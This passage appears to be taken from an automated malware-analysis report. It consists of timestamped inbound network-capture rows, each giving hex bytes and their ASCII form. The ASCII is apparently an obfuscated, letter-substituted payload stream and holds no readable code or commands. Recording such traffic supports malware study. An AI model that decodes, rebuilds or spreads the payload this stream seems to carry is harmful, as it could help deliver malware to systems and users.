4e 56 20 59 43 20 59 49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e 20 Data Ascii: CC WI VYY VI rI YC YV rM Ic NNM NCW NNc WN WY NWV Yr Ir NVC VNY IY VVc YC rI YC YV rM NCV NNM NCW NNc YL Yc NCc NIY NCC NNr NNM NNN NN VM rI YC YC cW NVY NCc WM VYL NCr rI YC YY NNL NcV NLY NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI Vc II Ir NNr NVM NNN NN
2021-10-29 18:10:44 UTC	1338	IN	Data Raw: 72 20 49 72 20 4e 4e 49 20 57 4c 20 57 43 20 4e 4e 56 20 59 43 20 59 49 20 63 59 20 4e 72 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 4c 43 20 59 43 20 72 49 20 59 63 20 59 56 20 72 4d 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 4c 59 20 59 49 20 4c 59 20 59 57 20 4e 56 20 57 57 20 4e 56 4c 20 4e 56 4c 20 56 4c 43 20 4e 43 63 20 4c 4c 20 63 43 20 4c 4c 20 4e 57 72 20 72 56 20 4e 43 43 20 57 57 20 4e 43 72 20 4e 63 72 20 4e 43 72 20 4c 59 20 59 63 20 4d 4d 20 56 56 49 20 72 59 20 72 20 57 4d 20 63 43 20 72 56 20 4e 63 72 20 57 59 20 59 57 20 4e 56 49 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 57 20 56 72 20 59 43 20 59 72 20 49 43 20 4d 72 20 56 4c 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 43 20 4d 4c 20 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4e 4e Data Ascii: r Ir NNI WL WC NNV YC YI cY Nr Ir NNr NVM cW LC YC rI Yc YV rM WI NNM NCW NNc LY YI LY YW NV WW NVL NVL VLC NCc LL cC LL NWr rV NCC WW NCr Ncr NCr LY Yc MM VVI rY r WM cC rV Ncr WY YW NVI NNM NCW NVV MW Vr YC Yr IC Mr VLY NCW NNV YC YC ML YM Ir NNr NNL NN
2021-10-29 18:10:44 UTC	1342	IN	Data Raw: 63 20 4e 4e 59 20 4e 4e 72 20 56 63 20 49 56 20 59 43 20 59 72 20 57 72 20 49 49 20 57 57 20 4e 4e 43 20 4e 43 72 20 56 43 72 20 72 57 20 56 72 20 59 72 20 49 72 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 63 4d 20 72 49 20 59 43 20 59 72 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 59 20 57 4c 20 4e 59 4c 20 59 4e 20 59 72 20 49 56 20 4e 43 4e 20 56 72 49 20 59 4c 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4c 49 20 4e 4d 56 20 4e 4e 72 20 4e 43 57 20 43 20 4e 72 72 20 4c 57 20 57 4c 20 4e 56 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4c 20 59 4e 20 72 57 20 59 43 20 63 43 20 49 56 20 4e 43 43 20 56 4c 57 20 4e 43 4d 20 4e 43 4c 20 4e 63 49 20 56 72 20 49 4e 20 59 72 20 49 72 20 4e 56 43 20 57 4c 20 4e 4e 4e 20 4e 4e 4c 20 Data Ascii: c NNY NNr Vc IV YC Yr Wr II WW NNC NCr VCr rW Vr Yr Ir NCY cW NCr NNV cM rI YC Yr NNN NNr NNM NVr NNY WL NYL YN Yr IV NCN VrI YL NNV YC rW VL LV LI NMV NNr NCW C Nrr LW WL NVC Ir NNr NVM NCL L YN rW YC cC IV NCC VLW NCM NCL NcI Vr IN Yr Ir NVC WL NNN NNL
2021-10-29 18:10:44 UTC	1346	IN	Data Raw: 56 4c 20 56 57 20 63 56 20 4e 63 20 4d 43 20 4e 4e 56 20 4e 4c 57 20 4e 56 43 20 63 4d 20 59 43 20 72 49 20 72 4e 20 63 56 20 4e 56 4d 20 59 57 20 4e 4e 20 4e 56 4c 20 4e 4e 4c 20 59 43 20 59 56 20 56 4c 20 56 4d 20 63 4d 20 49 72 20 4e 4e 20 4e 56 4e 20 4e 4e 4c 20 59 43 20 59 56 20 56 43 72 20 72 49 20 4d 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 72 4e 20 72 57 20 59 43 20 63 43 20 4e 4e 4c 20 56 72 56 20 57 57 20 4e 43 49 20 4e 4e 56 20 59 72 20 56 72 20 72 59 20 59 72 20 49 72 20 49 57 20 49 43 20 63 72 20 4e 56 72 20 56 43 20 4c 72 20 72 49 20 56 43 43 20 63 59 20 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 4d 20 59 49 20 56 4d 20 4c 63 20 72 49 20 4e 4d 43 20 4e 4e 63 20 4e 43 57 20 4e 4e 4e 20 4e 4e 56 20 59 56 20 63 4d 20 72 4d 20 59 59 20 49 72 Data Ascii: VL VW cV Nc MC NNV NLW NVC cM YC rI rN cV NVM YW NN NVL NNL YC YV VL VM cM Ir NN NVN NNL YC YV VCr rI MV NNV NNM NCM L rN rW YC cC NNL VrV WW NCI NNV Yr Vr rY Yr Ir IW IC cr NVr VC Lr rI VCC cY cY NNM NCW NCM YI VM Lc rI NMC NNc NCW NNN NNV YV cM rM YY Ir
2021-10-29 18:10:44 UTC	1349	IN	Data Raw: 20 4e 4c 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 43 4d 20 49 59 20 4c 4d 20 4c 57 20 4c 49 20 4c 43 20 56 4c 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 56 4e 43 20 56 4c 20 72 43 20 4c 4d 20 4c 72 20 4e 56 72 20 56 43 63 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 4c 20 4c 56 20 63 72 20 57 43 20 56 43 4e 20 4e 43 57 20 4e 4e 56 20 59 63 20 4e 72 63 20 56 63 20 4e 4c 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59 4e 20 72 49 20 59 63 20 4e 49 56 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 59 20 4e 72 20 72 4d 20 72 57 20 59 43 20 59 43 20 72 4d 20 72 49 20 4e 4e 63 20 4e 43 57 20 4e 56 56 20 4d 63 20 72 59 20 59 4e 20 59 72 20 49 43 20 4e 56 56 20 57 57 20 4e 56 4c 20 4c 20 4e 4e 4c 20 72 57 20 59 43 20 63 43 20 63 63 20 4e Data Ascii: NLI Ir NNr NVM VCM IY LM LW LI LC VLV NNr NNM NCL VNC VL rC LM Lr NVr VCc NNM NCW NVV Nrr VN rL LV cr WC VCN NCW NNV Yc Nrc Vc NLW Ir NNr NVM cW rW YN rI Yc NIV ML NNY NNM NCY Nr rM rW YC YC rM rI NNc NCW NVV Mc rY YN Yr IC NVV WW NVL L NNL rW YC cC cc N
2021-10-29 18:10:44 UTC	1354	IN	Data Raw: 4d 56 20 4e 43 57 20 59 43 20 4d 4d 20 72 49 20 72 57 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 4e 4e 20 4e 4e 56 20 56 49 20 72 49 20 4e 43 49 20 4e 49 63 20 49 72 20 4e 56 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 43 20 59 43 20 4e 4d 20 49 72 20 4c 20 56 4c 4d 20 4e 43 57 20 4e 56 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 63 20 4e 4e 72 20 49 59 20 4e 43 57 20 56 72 72 20 4e 59 43 20 72 49 20 59 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 4e 59 56 20 4e 4c 72 20 49 72 20 4e 4e 4c 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 4c 20 56 20 59 4e 20 49 72 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 56 4e 20 72 49 20 59 43 20 4c 57 20 4c 57 20 56 4e 63 20 4e 4e 4d 20 4e 43 57 Data Ascii: MV NCW YC MM rI rW cC Ir NNr NNc NNN NNV VI rI NCI NIc Ir NVC NNM NCW NNV YC YC YC NM Ir L VLM NCW NVV YC rI YC Yr Ic NNr IY NCW Vrr NYC rI Yc Yr Ir NNr NNM NCW NNV YV rI NYV NLr Ir NNL NVM NCW NNV YN rL V YN Ir NcY NNM NCW NNV NVN rI YC LW LW VNc NNM NCW
2021-10-29 18:10:44 UTC	1358	IN	Data Raw: 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4e 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 63 72 20 4e 4e 4c 20 59 43 20 72 49 20 49 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59 43 20 59 72 20 59 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 56 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 4e 20 4e 4e 72 20 56 72 43 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 4e 56 4d 20 59 43 20 59 72 20 63 57 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 49 20 4e 49 20 4e 49 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 56 72 20 72 56 Data Ascii: NNM NCW NNr YC rI YC NY Ir NNr NNM cr NNL YC rI Ir YY Ir NNr NVM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YV rI YC Yr Yc NNY NNM NCW V YN rI YC YL Ir NNr NNM NCL NNV YC rW rN c IN NNr VrC NNN NNV YC NVM YC Yr cW N VNC NCW NNV Yc YI NI NIM Ir NNr NNM VVr rV
2021-10-29 18:10:44 UTC	1362	IN	Data Raw: 56 20 59 63 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4c 63 20 4e 4e 56 20 4e 4d 49 20 56 72 57 20 59 43 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 72 20 59 43 20 4e 63 59 20 4e 56 57 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56 20 4e 4e 72 20 4e 4d 72 20 4e 72 43 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 4e 43 49 20 72 57 20 59 43 20 59 72 20 72 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 72 57 20 72 49 20 59 43 20 63 43 20 57 72 20 4e 43 57 20 4d 43 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20 4d Data Ascii: V Yc rI YC Yr Ir NNV NNM Lc NNV NMI VrW YC cC Ir NNr NNM NCW NNr YC NNr YC NcY NVW NNr NVM NCW NNV YC rI YC Yr IV NNr NMr NrC NNV rW YI YC Yr IY NCY cW NCr NNV NCI rW YC Yr r NNr NNM NVr L NrW rI YC cC Wr NCW MC VVr rV YC rI YN NW NLV NcY NNM NCW NNc Vc M
2021-10-29 18:10:44 UTC	1366	IN	Data Raw: 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 49 49 20 4e 4e 56 20 59 43 20 59 49 20 59 56 20 72 4e 20 57 43 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 72 59 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4c 4e 20 56 56 4d 20 72 49 20 59 43 20 63 43 20 4c 57 20 56 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 59 4d 20 59 4c 20 4c 43 20 63 56 20 49 4e 20 56 59 56 20 49 57 20 4e 43 59 20 4e 4e 63 20 72 57 20 4e 20 72 49 20 72 57 20 4e 56 63 20 4e 4e 72 20 4e 4e 57 20 63 57 20 4e 63 56 20 59 43 20 72 49 20 59 63 20 59 49 20 63 63 20 4e 56 4d 20 4d 4d 20 4e 56 72 20 4e 4e 4c 20 59 43 20 72 49 20 59 49 20 63 4c 20 56 43 63 Data Ascii: M NC Yr Ir NVC Vc NII NNV YC YI YV rN WC VYY rM NCW NNV YN VN VVc VrY Ir NNr NNL cW MN YC rI Yc cW NCI NNr NNM NCL LN VVM rI YC cC LW VNL NNM NCW NVV YM YL LC cV IN VYV IW NCY NNc rW N rI rW NVc NNr NNW cW NcV YC rI Yc YI cc NVM MM NVr NNL YC rI YI cL VCc
2021-10-29 18:10:44 UTC	1370	IN	Data Raw: 43 20 59 56 20 56 72 20 56 43 20 49 63 20 4e 4e 4c 20 49 20 57 72 20 4e 4e 56 20 59 43 20 59 56 20 56 72 20 72 43 20 49 63 20 57 20 63 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 63 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 72 72 20 59 56 20 72 4d 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20 59 4c 20 72 4e 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 57 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 57 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 72 72 20 59 43 20 4d 4c 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4d 4e 20 49 56 20 72 49 20 59 4e 20 4d 57 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4d Data Ascii: C YV Vr VC Ic NNL I Wr NNV YC YV Vr rC Ic W cY NCW NNV Yr Vc Nc YV IM NY cY NCW NNV Yr Vc rr YV rM MN NNM NCW NNc Vr NI rI YL rN MN NNM NCW NNc Vr rc rI MM WI NNr NNM NCY WC Nc YC rW MY WI NNr NNM NCY WC rr YC ML N Ir NNr NNL MN IV rI YN MW N Ir NNr NNL M
2021-10-29 18:10:44 UTC	1374	IN	Data Raw: 20 4e 4e 56 20 57 4c 20 4e 59 20 4e 4e 56 20 59 43 20 59 49 20 56 72 20 72 43 20 49 63 20 57 20 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 72 72 20 59 56 20 72 4d 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20 59 4c 20 72 4e 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 72 72 20 59 43 20 56 63 20 49 72 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 43 20 72 49 20 4d 59 20 4d 4d 20 59 72 20 49 72 20 4e 4e 49 20 57 59 20 4d 57 20 4e 4e 72 20 72 57 20 4d 4d 20 Data Ascii: NNV WL NY NNV YC YI Vr rC Ic W W NCW NNV Yr Vc Nc YV IM NY W NCW NNV Yr Vc rr YV rM NY NNM NCW NNc Vr NI rI YL rN NY NNM NCW NNc Vr rc rI MM rV NNr NNM NCY WC Nc YC rW MY rV NNr NNM NCY WC rr YC Vc Ir Ir NNr NVM MN NNC rI MY MM Yr Ir NNI WY MW NNr rW MM
2021-10-29 18:10:44 UTC	1378	IN	Data Raw: 57 59 20 59 4d 20 59 72 20 49 72 20 4e 56 43 20 4e 63 57 20 4e 4d 57 20 4e 4e 59 20 56 43 20 56 4c 49 20 59 43 20 4c 63 20 49 63 20 57 43 20 56 4e 59 20 4e 43 49 20 4e 4e 56 20 59 63 20 4e 43 20 4e 56 43 20 56 43 4e 20 4e 4d 4e 20 4e 72 4e 20 4e 4d 4e 20 57 57 20 57 49 20 72 49 20 56 43 63 20 4c 63 20 4e 4e 72 20 49 72 20 4e 4e 72 20 4e 4e 43 20 56 20 4e 56 4c 20 59 43 20 72 49 20 59 63 20 56 4c 72 20 49 63 20 4e 20 56 4c 49 20 4e 43 49 20 4e 4e 56 20 59 56 20 4c 59 20 59 49 20 4c 57 20 57 56 20 57 43 20 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 59 20 57 4c 20 4e 4d 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 43 20 59 43 20 72 49 20 59 63 20 49 57 20 56 72 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 49 20 72 4d 20 56 43 20 4e 49 4d 20 4e 72 20 Data Ascii: WY YM Yr Ir NVC NcW NMW NNY VC VLI YC Lc Ic WC VNY NCI NNV Yc NC NVC VCN NMN NrN NMN WW WI rI VCc Lc NNr Ir NNr NNC V NVL YC rI Yc VLr Ic N VLI NCI NNV YV LY YI LW WV WC W NCW NNV Yc YY WL NMM Ir NNr NVM V C YC rI Yc IW Vrc NNY NNM NCM WM YI rM VC NIM Nr
2021-10-29 18:10:44 UTC	1381	IN	Data Raw: 4e 4e 57 20 4e 4e 49 20 59 43 20 4c 43 20 59 72 20 4e 4c 43 20 4d 49 20 4e 4e 63 20 4e 4e 4d 20 4d 4d 20 4e 4e 63 20 4e 4c 72 20 72 56 20 56 57 20 59 72 20 72 4c 20 4d 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 59 43 20 56 72 4d 20 56 57 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e 4e 4d 20 4d 43 20 49 56 20 63 72 20 56 49 20 59 56 20 59 72 20 4e 4c 72 20 4e 4e 4c 20 4d 20 63 59 20 4e 4e 49 20 59 43 20 4e 72 43 20 59 56 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e 4e 4d 20 56 4c 4c 20 49 59 20 4e 72 59 20 59 20 63 43 20 59 72 20 56 56 49 20 63 4d 20 4e 72 4d 20 4d 43 20 4e 4e 49 20 59 43 20 56 43 43 20 4e 20 4d 63 20 4e 4e 43 20 4e 4e 63 20 4e 4e 4d 20 56 72 4d 20 49 43 20 63 72 20 56 49 20 63 43 20 59 72 20 4e 49 63 20 4e 43 57 20 4e 72 4d 20 4d 43 20 4e 4e 49 20 59 Data Ascii: NNW NNI YC LC Yr NLC MI NNc NNM MM NNc NLr rV VW Yr rL MC NNM NCW NNI YC VrM VW cI NVC NNc NNM MC IV cr VI YV Yr NLr NNL M cY NNI YC NrC YV cI NVC NNc NNM VLL IY NrY Y cC Yr VVI cM NrM MC NNI YC VCC N Mc NNC NNc NNM VrM IC cr VI cC Yr NIc NCW NrM MC NNI Y
2021-10-29 18:10:44 UTC	1386	IN	Data Raw: 4e 43 72 20 4e 4e 72 20 4e 56 72 20 4e 43 57 20 56 4c 20 59 43 20 72 57 20 59 4e 20 59 72 20 49 72 20 4e 57 4e 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 57 59 20 72 49 20 59 57 20 59 72 20 56 4e 4c 20 4e 4e 72 20 56 72 72 20 4e 43 57 20 57 63 20 59 43 20 4e 49 59 20 4e 4d 20 59 72 20 49 72 20 57 4e 20 4e 4e 4d 20 4e 43 43 20 4e 4e 56 20 4e 49 4c 20 72 49 20 4e 4d 57 20 59 59 20 63 49 20 4e 4e 72 20 63 63 20 72 63 20 4e 4e 56 20 59 43 20 56 59 20 59 43 20 63 4e 20 49 72 20 56 72 57 20 4e 4e 4d 20 56 4c 63 20 4e 4e 4c 20 4c 72 20 72 49 20 4e 57 43 20 4d 20 49 72 20 4e 4e 72 20 57 56 20 4e 43 57 20 4e 56 4c 20 59 43 20 4e 49 49 20 59 43 20 4e 49 4c 20 49 59 20 57 49 20 4e 4e 4d 20 4e 49 59 20 49 49 20 59 43 20 72 49 20 56 4d 20 59 72 20 57 59 20 4e 4e 72 20 56 72 Data Ascii: NCr NNr NVr NCW VL YC rW YN Yr Ir NWN ML NCW NNV WY rI YW Yr VNL NNr Vrr NCW Wc YC NIY NM Yr Ir WN NNM NCC NNV NIL rI NMW YY cI NNr cc rc NNV YC VY YC cN Ir VrW NNM VLc NNL Lr rI NWC M Ir NNr WV NCW NVL YC NII YC NIL IY WI NNM NIY II YC rI VM Yr WY NNr Vr
2021-10-29 18:10:44 UTC	1390	IN	Data Raw: 63 20 4d 56 20 4e 4e 72 20 4c 4c 20 72 57 20 59 43 20 59 72 20 4e 43 20 4e 56 4c 20 4e 4e 4d 20 4e 43 57 20 72 4e 20 59 4e 20 56 43 20 59 4e 20 4e 57 20 49 63 20 57 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 4d 4e 20 63 4c 20 59 43 20 59 72 20 4e 4c 20 4e 4e 59 20 49 4e 20 4e 43 49 20 49 59 20 72 49 20 4c 59 20 59 4e 20 59 72 20 49 72 20 56 72 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 72 57 20 56 56 20 59 59 20 4e 4e 4c 20 4e 4e 56 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20 59 43 20 59 4c 20 59 59 20 59 72 20 49 72 20 72 4c 20 4e 4e 63 20 4d 4c 20 4e 4e 4c 20 56 4c 20 59 43 20 4c 4c 20 59 59 20 49 72 20 4e 4e 72 20 56 4c 4e 20 57 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e 20 4e 49 20 49 59 20 49 4d 20 4e 4e 57 20 4e 56 63 20 4e 4e 4c 20 59 43 20 Data Ascii: c MV NNr LL rW YC Yr NC NVL NNM NCW rN YN VC YN NW Ic WM NNc NCW NNV MN cL YC Yr NL NNY IN NCI IY rI LY YN Yr Ir Vrc NNM NCW NNV NCM rW VV YY NNL NNV NCV NCI NNV YC YL YY Yr Ir rL NNc ML NNL VL YC LL YY Ir NNr VLN WI NNV YC NCY YN NI IY IM NNW NVc NNL YC
2021-10-29 18:10:44 UTC	1394	IN	Data Raw: 43 59 20 56 4e 4e 20 4e 43 57 20 4e 4e 4c 20 59 43 20 72 72 20 72 63 20 4e 72 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 56 20 4e 43 49 20 59 56 20 4c 4c 20 59 4e 20 59 72 20 72 59 20 4e 4e 4e 20 4e 43 20 4e 56 72 20 4e 4e 4c 20 59 43 20 4e 63 4c 20 72 4d 20 4e 72 72 20 49 72 20 63 59 20 4e 4e 63 20 56 56 56 20 4e 56 63 20 4e 49 56 20 4c 4c 20 4e 20 59 59 20 4e 56 20 57 49 20 56 59 56 20 4e 56 72 20 63 4d 20 59 4e 20 63 72 20 4c 49 20 4e 4d 49 20 63 57 20 63 59 20 4e 4e 63 20 4e 4e 43 20 4e 4e 57 20 4e 49 49 20 4c 4c 20 4e 20 59 59 20 4e 4d 72 20 4e 56 4d 20 56 4c 43 20 4e 56 72 20 63 4d 20 59 4e 20 4e 57 63 20 59 63 20 4e 4d 72 20 63 57 20 63 59 20 4e 4e 63 20 56 4c 4e 20 4e 56 63 20 4e 4d 59 20 4c 4c 20 4e 20 59 59 20 56 4e 4c 20 57 49 20 56 4e 59 20 4e Data Ascii: CY VNN NCW NNL YC rr rc Nrr Ir NNY NNM rV NCI YV LL YN Yr rY NNN NC NVr NNL YC NcL rM Nrr Ir cY NNc VVV NVc NIV LL N YY NV WI VYV NVr cM YN cr LI NMI cW cY NNc NNC NNW NII LL N YY NMr NVM VLC NVr cM YN NWc Yc NMr cW cY NNc VLN NVc NMY LL N YY VNL WI VNY N
2021-10-29 18:10:44 UTC	1398	IN	Data Raw: 72 49 20 59 43 20 59 72 20 4e 4d 49 20 4e 4e 59 20 4e 49 72 20 4d 49 20 4e 4e 4c 20 59 43 20 63 20 59 43 20 49 56 20 4e 43 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 57 4c 20 57 20 4e 49 43 20 57 4d 20 63 4d 20 4e 43 57 20 4e 57 56 20 4e 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 56 4d 20 4e 4e 4d 20 4e 59 49 20 4d 57 20 56 4e 4c 20 4c 59 20 4e 43 20 59 72 20 4e 56 20 4d 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4d 4d 20 59 43 20 4e 43 4d 20 4e 43 59 20 4e 4c 43 20 4e 43 56 20 49 4d 20 4e 4e 56 20 4e 72 20 4e 4e 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 72 20 4e 43 57 20 4e 57 4d 20 56 4e 20 56 43 4d 20 4c 4c 20 57 20 49 72 20 4e 72 20 4d 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4d 57 20 59 Data Ascii: rI YC Yr NMI NNY NIr MI NNL YC c YC IV NCW NNr NNM NCW NNV Ncr rI NWL W NIC WM cM NCW NWV NN rI YC Yr Ir VVM NNM NYI MW VNL LY NC Yr NV MV NNM NCW NNV YC NMM YC NCM NCY NLC NCV IM NNV Nr NN YC Yr Ir NNr Vrr NCW NWM VN VCM LL W Ir Nr MI NCW NNV YC rI NMW Y
2021-10-29 18:10:44 UTC	1402	IN	Data Raw: 20 59 43 20 59 49 20 4e 43 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 20 4e 43 49 20 72 63 20 56 56 4c 20 4c 72 20 4e 72 4c 20 4e 4e 72 20 4e 43 59 20 59 4c 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 63 43 20 49 72 20 4e 56 57 20 4e 4e 59 20 4e 56 49 20 4e 43 43 20 56 4c 63 20 72 49 20 49 20 4e 4e 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 56 4c 43 20 59 43 20 72 4d 20 4c 20 56 4e 57 20 63 72 20 4e 72 4d 20 4e 4e 4d 20 4c 4c 20 72 43 20 59 43 20 72 49 20 59 43 20 59 72 20 4e 57 72 20 4e 4e 72 20 57 20 72 72 20 4e 59 4d 20 4c 49 20 56 4e 56 20 59 43 20 4e 43 72 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 4e 43 20 72 57 20 4e 49 59 20 4e 43 56 20 4e 72 63 20 4e 43 57 20 72 20 4e 43 Data Ascii: YC YI NCc Yr Ir NNr NNM VYN NNV NCI rc VVL Lr NrL NNr NCY YL NNV YC rI YC NcC Ir NVW NNY NVI NCC VLc rI I NNC Ir NNr NNM NCW VLC YC rM L VNW cr NrM NNM LL rC YC rI YC Yr NWr NNr W rr NYM LI VNV YC NCr NV NNr NNM NCW NNV Ncr rI NNC rW NIY NCV Nrc NCW r NC
2021-10-29 18:10:44 UTC	1406	IN	Data Raw: 4e 56 20 59 43 20 4e 63 63 20 59 43 20 4e 72 57 20 4e 43 72 20 4e 56 72 20 57 57 20 4c 4c 20 4e 4e 4c 20 59 43 20 4e 49 4c 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 56 4d 20 4e 43 57 20 4e 72 57 20 56 72 20 4c 49 20 4c 63 20 4e 56 43 20 49 59 20 56 72 4e 20 56 72 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 63 72 20 63 56 20 56 57 20 4e 43 4d 20 4e 43 72 20 4e 56 4c 20 63 4c 20 59 4e 20 4e 56 49 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 20 57 63 20 72 4e 20 4e 4d 20 4c 56 20 56 4d 20 4e 4e 59 20 4e 4c 4c 20 56 4c 72 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 63 43 20 49 72 20 72 4e 20 4e 43 49 20 4e 49 43 20 4e 56 59 20 57 49 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 59 20 4e 43 57 20 56 56 59 Data Ascii: NV YC Ncc YC NrW NCr NVr WW LL NNL YC NIL YC Yr Ir NNr VVM NCW NrW Vr LI Lc NVC IY VrN VrV NCW NNV YC rI Ncr cV VW NCM NCr NVL cL YN NVI NIN Yr Ir NNr NNM VYN NNV Wc rN NM LV VM NNY NLL VLr NNV YC rI YC NcC Ir rN NCI NIC NVY WI rW YC Yr Ir NNr VrY NCW VVY
